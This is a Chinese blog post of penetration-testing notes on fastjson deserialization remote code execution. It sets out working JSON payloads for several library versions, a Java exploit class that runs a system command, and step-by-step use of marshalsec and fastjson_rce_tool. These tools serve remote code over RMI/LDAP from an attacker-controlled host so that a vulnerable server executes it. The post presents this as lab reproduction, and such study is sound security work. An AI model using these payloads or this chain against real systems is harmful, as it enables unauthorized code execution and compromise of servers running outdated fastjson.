本文原创地址:https://www.cnblogs.com/yunmuq/p/14268028.html

一、背景

fastjsion是阿里的开源Java工具:https://github.com/alibaba/fastjson

能快速地将对象序列化为json字符串,或进行反序列化

其速度和效率在同类型工具中遥遥领先,但曾被曝出存在高危漏洞

漏洞主要分布于1.2.68及以下的版本中,在将json反序列化为对象时,存在代码执行漏洞

如果一些项目未更新到最新版本,则存在安全漏洞

二、Payload

2.1 版本<1.2.25

{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://localhost:1099/Exploit",
"autoCommit":true
}

2.1 版本<1.2.48

{
"x":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"x":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://ip:port/Exploit",
"autoCommit":true
}
}

2.1 版本<1.2.68

1.2.47都是18年发布的版本了,上述两个payload是广为流传的版本,都是利用RMI、LDAP进行远程命令执行(RCE)

而1.2.68是20年新发布的版本,它修复了今年被爆出的安全漏洞

在1.2.68之前的版本,fastjson被发现还能利用异常进行攻击

但是利用难度较大,作者暂时没有找到好的利用链

目前发现的方法是

https://blog.csdn.net/caiqiiqi/article/details/106050079

{
"content":{"$ref":"$x.systemInformation"},
"x": {"@type":"java.lang.Exception","@type":"org.openqa.selenium.WebDriverException"}
}

#前提是需要WEB应用的classpath存在selenium-api

三、漏洞复现

3.1 搭建fastjson项目

想要复现漏洞最关键的要素是JDK版本,编译运行fastjson项目的jdk建议是 JDK8,作者使用 jdk-11.0.9 没成功,使用 jdk1.8.0_112 成功了

简单的验证很简单,无需spring项目和Tomcat,创建最简单的Java项目即可

觉得不想安装maven的,或觉得maven更改版本麻烦的,可以从maven中央库下载fastjson的jar包,并添设置项目属性加到依赖中,这里的版本最齐全:https://repo1.maven.org/maven2/com/alibaba/fastjson/

阿里云的镜像无法从浏览器访问,如果安装了maven可以使用maven项目

实现代码虽然不长,但是影响阅读,我放另一个页面中吧

>>>实现代码

准备好RMI、LDAP服务再运行

3.2 RMI、LDAP服务搭建

简单地说一下原理,作者自己也不是十分了解

当fastjson可以反序列化一些类时,怎么让服务器执行自己想要的代码呢

这就需要寻找一个利用链,com.sun.rowset.JdbcRowSetImpl的好处是,他是Java官方的类库

其中的lookup方法支持调用远程接口,我们把想要运行的代码放在远程接口中,触发服务器来调用即可

在前人已经为我们寻找好利用链之后,剩下的一步是搭建RMI、LDAP服务,自己写代码是比较困难的,好在这一步也有工具可用

3.2.1 使用marshalsec

不推荐,但是在网络上流传甚广

虽然免去写代码就能搭建RMI、LDAP服务器,但是需要安装python来提供http服务、需要maven来编译此工具,且编译的jdk版本需要在1.8.0_112及以下

这是项目地址:https://github.com/mbechler/marshalsec

远程调用的过程是,服务器通过RMI、LDAP访问我们的主机,我们的主机再转发到一个http端口上,把事先编译好的.class文件给服务器运行即可

具体步骤是:①在一个文件夹下编译

import java.lang.Runtime;
import java.lang.Process; public class Exp { public Exp() {
try{
// 要执行的命令
String commands = "calc";
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch(Exception e){
e.printStackTrace();
} } public static void main(String[] argv) {
Exp e = new Exp();
} }

②使用 python -m http.server 80 在此文件夹下开启一个http服务

③使用 java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip/#Exp 运行RMIRefServer

④payload中的地址则是 ``rmi://ip` ,rmi默认端口是1099,http默认端口是80

3.2.2 使用fastjson_rce_tool

强烈推荐

相比marshalsec优点在于,不用编译,无需自己编写利用类Exploit,无需自己开启http服务,最重要的是不受JDK限制,使用JDK11也可

项目地址:https://github.com/wyzxxz/fastjson_rce_tool

使用方法:java -cp fastjson_tool.jar fastjson.HRMIServer IP port " 想要执行的命令 "

命令行会给出payload

不足是,当运行fastjson的Java版本是jdk11时,这边能收到服务器远程调用的请求,命令却无法被执行



本文参考文章:

https://zhuanlan.zhihu.com/p/157211675

https://www.cnblogs.com/sijidou/p/13121332.html



(๑•̀ㅂ•́)و✧

往期精彩文章推荐:

#topics #no-box-shadow-img { box-shadow: none; height: 120px }

《zookeeper未授权访问渗透测试及修复方法》

《安装nginx并安全地配置和启动》

fastjsion反序列化漏洞渗透测试笔记的更多相关文章

  1. CVE-2018-2628 weblogic WLS反序列化漏洞--RCE学习笔记

    weblogic WLS 反序列化漏洞学习 鸣谢 感谢POC和分析文档的作者-绿盟大佬=>liaoxinxi:感谢群内各位大佬及时传播了分析文档,我才有幸能看到. 漏洞简介 漏洞威胁:RCE-- ...

  2. Web渗透测试笔记(基础部分)

    信息收集: dns信息收集 格式:dns... -参数 域名 -参数 示例: root@xxSec:~# dnsenum baidu.com root@xxSec:~# dnsenum -f dns. ...

  3. metasploit渗透测试笔记(内网渗透篇)

    x01 reverse the shell File 通常做法是使用msfpayload生成一个backdoor.exe然后上传到目标机器执行.本地监听即可获得meterpreter shell. r ...

  4. PJzhang:漏洞渗透测试框架“天使之剑(AngelSword)”

    猫宁!!! 参考链接: www.phpinfo.cc/?post=42 https://www.freebuf.com/sectool/149883.html 同事介绍了一款渗透测试框架AngelSw ...

  5. 【i春秋 综合渗透训练】渗透测试笔记

    网站是齐博CMS V7.0    1.要求获得管理员密码:   利用齐博CMS V7.0  SQL爆破注入漏洞即可得到管理员用户名密码    https://www.cnblogs.com/vspid ...

  6. PHP 反序列化漏洞入门学习笔记

    参考文章: PHP反序列化漏洞入门 easy_serialize_php wp 实战经验丨PHP反序列化漏洞总结 PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患 利用 pha ...

  7. kalilinux渗透测试笔记

    声明:本文理论大部分是苑房弘kalilinux渗透测试的内容 第五章:基本工具 克隆网页,把gitbook的书记下载到本地 httrack "http://www.mybatis.org/m ...

  8. kalilinux 渗透测试笔记

    声明:本文理论大部分是苑房弘kalilinux渗透测试的内容 第五章:基本工具 克隆网页,把gitbook的书记下载到本地 httrack "http://www.mybatis.org/m ...

  9. Brup Suite 渗透测试笔记(五)

    之前章节记到Burp Intruder功能区,接上次笔记 一.首先说再展开说说Brup Intruder功能, 1.标识符枚举Web应用程序经常使用标识符来引用用户账户,资产数据信息. 2.提取有用的 ...

随机推荐

  1. Redis Sentinel-深入浅出原理和实战

    本篇博客会简单的介绍Redis的Sentinel相关的原理,同时也会在最后的文章给出硬核的实战教程,让你在了解原理之后,能够实际上手的体验整个过程. 之前的文章聊到了Redis的主从复制,聊到了其相关 ...

  2. Windows版 charles安装证书抓包网页HTTPS

    1.在Charles官网https://www.charlesproxy.com/download/下载,我这边下载的是免费体验版的. 2.安装好以后打开,配置Charles证书:选择 help--S ...

  3. jenkins+ant+jmeter实现自动化集成(详解)

    jenkins+ant+jmeter实现自动化集成 for window 一.jmeter 1.jmeter安装 二.ant 1.ant安装 三.ant运行 jmeter脚本 1.配置 四.jenki ...

  4. Golang之应用测试

    Go 应用测试 测试的覆盖率 命令: go test ./ -v -cover 在<Go Web 编程>一书中,有以下结论: 这并不是绝对的,测试文件可以在不同的包,进行测试也是不会出现问 ...

  5. 【涂鸦物联网足迹】用煲仔饭来说明IaaS/PaaS/SaaS的区别

    最近在准备一些科普性的知识内容,发现大家对于一些基础性的知识概念还是有点模糊.今天先来简单介绍一下IaaS/PaaS/SaaS的区别~ 其实还有一个On-Premises(本地部署)的概念,也可以一并 ...

  6. [日常摸鱼]poj1509Glass Beads-SAM

    QAQ学了好几天了-(我太傻啦) #include<cstdio> #include<cstring> #define rep(i,n) for(register int i= ...

  7. [日常摸鱼]poj2420 A Star not a Tree?

    题意:给定$n$个点,找一个点使得这个点到所有点的距离之和最小,求出这个最小距离 传说中的模拟退火- #include<cstdio> #include<ctime> #inc ...

  8. js--数组的filter()过滤方法的使用

    前言 你还在通过for循环遍历数组吗?你还在遍历之后一项一项的通过if判断过滤你需要的数据吗?你还在写着一大堆代码实现一个简单的过滤数据功能吗?那么,今天他来了.他就是这里要介绍的es6中数组filt ...

  9. openstack高可用集群19-linuxbridge结合vxlan

    生产环境,假设我们的openstack是公有云,我们一般的linuxbridge结合vlan的模式相对于大量的用户来说是vlan是不够用的,于是我们引进vxlan技术解决云主机内网网络通讯的问题. 我 ...

  10. 【进程/作业】篇章一:Linux进程及其管理(进程的管理基础)

    概述:监控系统各方面的性能,保障各类服务的有序运行,是运维工作的重要组成部分,本篇就介绍一次常用的系统监控命令和相关的参数说明 具体包含以下几部分: 1.进程的管理基础 ,主要是讲一下概念性的东西 2 ...